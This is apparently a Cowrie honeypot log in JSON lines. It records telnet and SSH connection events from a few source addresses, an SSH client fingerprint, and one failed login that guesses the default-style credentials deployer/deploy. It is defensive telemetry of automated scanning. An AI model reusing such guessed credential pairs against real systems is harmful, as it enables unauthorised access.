{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:32.254930Z","src_ip":"154.198.162.75","session":"5712116ca563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39756,"dst_ip":"159.203.135.109","dst_port":23,"session":"512b40a4855d","protocol":"telnet","message":"New connection: 50.6.18.72:39756 (159.203.135.109:23) [session: 512b40a4855d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:33.628599Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39768,"dst_ip":"159.203.135.109","dst_port":23,"session":"dea75306a317","protocol":"telnet","message":"New connection: 50.6.18.72:39768 (159.203.135.109:23) [session: dea75306a317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:33.635064Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39778,"dst_ip":"159.203.135.109","dst_port":23,"session":"d018677ca747","protocol":"telnet","message":"New connection: 50.6.18.72:39778 (159.203.135.109:23) [session: d018677ca747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:33.757172Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39794,"dst_ip":"159.203.135.109","dst_port":23,"session":"684c2ee0e57a","protocol":"telnet","message":"New connection: 50.6.18.72:39794 (159.203.135.109:23) [session: 684c2ee0e57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:34.333142Z"}
{"eventid":"cowrie.session.closed","duration":31.302865743637085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:35.299227Z","src_ip":"50.6.18.72","session":"ec60d0a1eda3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55352,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7dac89ab2b5","protocol":"telnet","message":"New connection: 69.162.99.242:55352 (159.203.135.109:23) [session: c7dac89ab2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:35.495849Z"}
{"eventid":"cowrie.session.closed","duration":30.23829436302185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:35.551972Z","src_ip":"50.6.18.72","session":"0c021b109d7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661090850830078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:35.718315Z","src_ip":"50.6.18.72","session":"8252aadb37db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425293445587158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:36.753022Z","src_ip":"50.6.18.72","session":"8b67ce74a137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79472017288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:37.715064Z","src_ip":"50.6.18.72","session":"3bd48f919997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434497117996216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:38.727872Z","src_ip":"50.6.18.72","session":"196a16bc9397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34368,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a4647cb3a0","protocol":"telnet","message":"New connection: 69.162.99.242:34368 (159.203.135.109:23) [session: 15a4647cb3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:38.957441Z"}
{"eventid":"cowrie.session.closed","duration":30.42278027534485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:39.761561Z","src_ip":"50.6.18.72","session":"43bc59d7f42b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32436490058899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:40.735657Z","src_ip":"50.6.18.72","session":"a2cc3240cc53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108626127243042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:41.209164Z","src_ip":"50.6.18.72","session":"1bcba3f46c55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09636640548706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:41.230383Z","src_ip":"50.6.18.72","session":"e3682018fba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.788381099700928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:43.081316Z","src_ip":"50.6.18.72","session":"89fd9900f4af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36388349533081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:43.740681Z","src_ip":"50.6.18.72","session":"6ae684b43ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10933494567871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:44.341902Z","src_ip":"50.6.18.72","session":"6ee8276459f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740293264389038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:45.259026Z","src_ip":"40.86.220.217","session":"744dc4576387","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.282790422439575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:45.632890Z","src_ip":"50.6.18.72","session":"ba6f3c39c552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98362445831299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:45.898267Z","src_ip":"50.6.18.72","session":"e6a135aec29e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.383116006851196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:46.720970Z","src_ip":"50.6.18.72","session":"7cc9a15d8d9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111789226531982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:46.726231Z","src_ip":"50.6.18.72","session":"9df45eac3f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.409364461898804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:46.815663Z","src_ip":"50.6.18.72","session":"88f17aa21a91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887123107910156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:48.530128Z","src_ip":"50.6.18.72","session":"3b0fef72729d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79954171180725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:48.760692Z","src_ip":"50.6.18.72","session":"37c97bc8ec49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.641525268554688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:51.763995Z","src_ip":"50.6.18.72","session":"126fdd33c379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11628770828247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:52.435902Z","src_ip":"50.6.18.72","session":"aa98b449b8bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39199185371399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:52.608828Z","src_ip":"50.6.18.72","session":"555b83baa0ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":47286,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a10f5ad3456","protocol":"telnet","message":"New connection: 69.162.99.242:47286 (159.203.135.109:23) [session: 8a10f5ad3456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:57.141124Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49544,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c60f78cfaf6","protocol":"telnet","message":"New connection: 69.162.99.242:49544 (159.203.135.109:23) [session: 8c60f78cfaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:58.186070Z"}
{"eventid":"cowrie.session.closed","duration":31.11937427520752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:58.627000Z","src_ip":"50.6.18.72","session":"ee0dc4eb5e9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99091911315918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:59.604558Z","src_ip":"50.6.18.72","session":"8358ddcbb774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.54192280769348,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:59.776519Z","src_ip":"45.58.127.90","session":"434c52666f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.92591643333435,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:00.410855Z","src_ip":"45.58.127.90","session":"73e311410107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bbc5a01194f","protocol":"telnet","message":"New connection: 69.162.99.242:55594 (159.203.135.109:23) [session: 5bbc5a01194f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:00.703068Z"}
{"eventid":"cowrie.session.closed","duration":31.51433491706848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:02.073298Z","src_ip":"50.6.18.72","session":"374fce45db2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238176107406616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:02.479610Z","src_ip":"50.6.18.72","session":"79ba6609f179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36024,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba24d7e52016","protocol":"telnet","message":"New connection: 147.182.143.59:36024 (159.203.135.109:23) [session: ba24d7e52016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:04.610535Z"}
{"eventid":"cowrie.session.closed","duration":30.87960934638977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:04.636642Z","src_ip":"50.6.18.72","session":"d018677ca747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111644983291626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:04.740193Z","src_ip":"50.6.18.72","session":"512b40a4855d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126190900802612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:04.761171Z","src_ip":"50.6.18.72","session":"dea75306a317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34304,"dst_ip":"159.203.135.109","dst_port":23,"session":"63602561af06","protocol":"telnet","message":"New connection: 69.162.99.242:34304 (159.203.135.109:23) [session: 63602561af06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:04.780555Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":37468,"dst_ip":"159.203.135.109","dst_port":23,"session":"4171051ccdea","protocol":"telnet","message":"New connection: 69.162.99.242:37468 (159.203.135.109:23) [session: 4171051ccdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:05.231212Z"}
{"eventid":"cowrie.session.closed","duration":31.106842279434204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:05.439878Z","src_ip":"50.6.18.72","session":"684c2ee0e57a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52805471420288,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:06.200286Z","src_ip":"45.58.127.90","session":"15354117a188","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871878147125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:06.367580Z","src_ip":"69.162.99.242","session":"c7dac89ab2b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41894,"dst_ip":"159.203.135.109","dst_port":23,"session":"95cbad446197","protocol":"telnet","message":"New connection: 69.162.99.242:41894 (159.203.135.109:23) [session: 95cbad446197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:06.990077Z"}
{"eventid":"cowrie.session.closed","duration":30.10176992416382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:09.059061Z","src_ip":"69.162.99.242","session":"15a4647cb3a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49008,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c3d83ce9be","protocol":"telnet","message":"New connection: 69.162.99.242:49008 (159.203.135.109:23) [session: 13c3d83ce9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:09.955551Z"}
{"eventid":"cowrie.session.closed","duration":43.490148067474365,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:10.088102Z","src_ip":"45.58.127.90","session":"a9abf28f4fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":52802,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cce87ee63a9","protocol":"telnet","message":"New connection: 69.162.99.242:52802 (159.203.135.109:23) [session: 3cce87ee63a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:12.594841Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55866,"dst_ip":"159.203.135.109","dst_port":23,"session":"67fa0045266e","protocol":"telnet","message":"New connection: 69.162.99.242:55866 (159.203.135.109:23) [session: 67fa0045266e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:12.818619Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50686,"dst_ip":"159.203.135.109","dst_port":23,"session":"d066303c0f1f","protocol":"telnet","message":"New connection: 147.182.143.59:50686 (159.203.135.109:23) [session: d066303c0f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:13.489437Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58780,"dst_ip":"159.203.135.109","dst_port":23,"session":"287a8c17c840","protocol":"telnet","message":"New connection: 69.162.99.242:58780 (159.203.135.109:23) [session: 287a8c17c840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:14.154526Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":59008,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8a36a390c8c","protocol":"telnet","message":"New connection: 69.162.99.242:59008 (159.203.135.109:23) [session: f8a36a390c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:14.263028Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60202,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a152ef01208","protocol":"telnet","message":"New connection: 69.162.99.242:60202 (159.203.135.109:23) [session: 7a152ef01208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:14.771843Z"}
{"eventid":"cowrie.session.closed","duration":44.45193099975586,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:14.817995Z","src_ip":"45.58.127.90","session":"779e1c6edf81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.514243364334106,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:15.124648Z","src_ip":"147.182.143.59","session":"ba24d7e52016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.53439950942993,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:15.333212Z","src_ip":"45.58.127.90","session":"d583ede0a3c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50694,"dst_ip":"159.203.135.109","dst_port":23,"session":"8996bf431956","protocol":"telnet","message":"New connection: 147.182.143.59:50694 (159.203.135.109:23) [session: 8996bf431956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:16.102940Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36606,"dst_ip":"159.203.135.109","dst_port":23,"session":"9feaf5708c08","protocol":"telnet","message":"New connection: 69.162.99.242:36606 (159.203.135.109:23) [session: 9feaf5708c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:16.841426Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50706,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfd95eb6b035","protocol":"telnet","message":"New connection: 147.182.143.59:50706 (159.203.135.109:23) [session: cfd95eb6b035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:17.841099Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46252,"dst_ip":"159.203.135.109","dst_port":23,"session":"3579055830de","protocol":"telnet","message":"New connection: 69.162.99.242:46252 (159.203.135.109:23) [session: 3579055830de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:21.555948Z"}
{"eventid":"cowrie.session.closed","duration":8.264977216720581,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:21.754306Z","src_ip":"147.182.143.59","session":"d066303c0f1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48374,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b3d2e527d3a","protocol":"telnet","message":"New connection: 69.162.99.242:48374 (159.203.135.109:23) [session: 5b3d2e527d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:22.543113Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":39298,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4abddeb3bf","protocol":"ssh","message":"New connection: 154.198.162.75:39298 (10.17.0.5:22) [session: 5a4abddeb3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:22.855970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:22.860587Z","src_ip":"154.198.162.75","session":"5a4abddeb3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49232,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5fb67a2dcf0","protocol":"telnet","message":"New connection: 69.162.99.242:49232 (159.203.135.109:23) [session: a5fb67a2dcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:22.995445Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:23.065461Z","src_ip":"154.198.162.75","session":"5a4abddeb3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deploy","message":"login attempt [deployer/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:23.921911Z","src_ip":"154.198.162.75","session":"5a4abddeb3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":52018,"dst_ip":"159.203.135.109","dst_port":23,"session":"c72581f25adc","protocol":"telnet","message":"New connection: 69.162.99.242:52018 (159.203.135.109:23) [session: c72581f25adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:24.559439Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:25.131374Z","src_ip":"154.198.162.75","session":"5a4abddeb3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46386,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d2d8ae8957","protocol":"telnet","message":"New connection: 147.182.143.59:46386 (159.203.135.109:23) [session: 85d2d8ae8957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:26.348367Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55600,"dst_ip":"159.203.135.109","dst_port":23,"session":"2234a815f27b","protocol":"telnet","message":"New connection: 69.162.99.242:55600 (159.203.135.109:23) [session: 2234a815f27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:26.385568Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":56322,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a396fc71536","protocol":"telnet","message":"New connection: 69.162.99.242:56322 (159.203.135.109:23) [session: 4a396fc71536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:26.700037Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":56650,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ad6e64cc5b","protocol":"telnet","message":"New connection: 69.162.99.242:56650 (159.203.135.109:23) [session: 15ad6e64cc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:26.790594Z"}
